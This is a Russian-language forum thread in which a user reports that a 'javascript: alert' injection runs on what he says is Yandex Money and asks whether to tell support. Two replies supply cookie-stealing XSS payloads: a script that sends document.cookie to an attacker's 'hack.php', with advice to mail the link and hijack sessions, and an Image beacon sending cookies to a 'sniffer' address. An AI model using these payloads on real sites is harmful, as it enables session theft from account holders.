Как проверить XSS уязвимость?

Question

[Nimor]

Выполняется: javascript: alert('xss')

Опасно? Стоит писать саппорту или пошлют меня?

Answer 1

[Nimor]

Отписал в поддержку Яндекса, в общем все равно что-то да выполняется, это же плохо.

Answer 2

[int03e]

Выполняется в GET запросе? Подставляем вместо алерта

<script>
document.location="http://yoursite.com/hack.php?cookie=" + document.cookie;document.location="http://www.site.com"
</script>

Где hack.php — наш простенький скрипт по сохранению кукисов. Шлем ссылку, угоняем куки.

Comments

[Nimor]

"<" and ">" запрещены. Это опять на yandex-money. Зато "<" and ">" работают в поле javascript: alert('< >')
'

Answer 3

[Nimor]

"<" and ">" запрещены. Это опять на yandex-money. Зато "<" and ">" работают в поле javascript: alert('< >')

Answer 4

[B@rmaley.e><e]

Если у Вас выполняется alert('xss'), то и какой-нибудь

var t=new Image();t.src='http://google.com/sniffer/?'+document.cookie;

Должен выполниться.

Answer 5

[Nimor]

Понятно, я не знаю что такое sniffer, это опасно или нет?

Comments

[B@rmaley.e><e]

Это был просто пример. Там следовало указать какой-нибудь адрес, который бы записывал все приходящие запросы.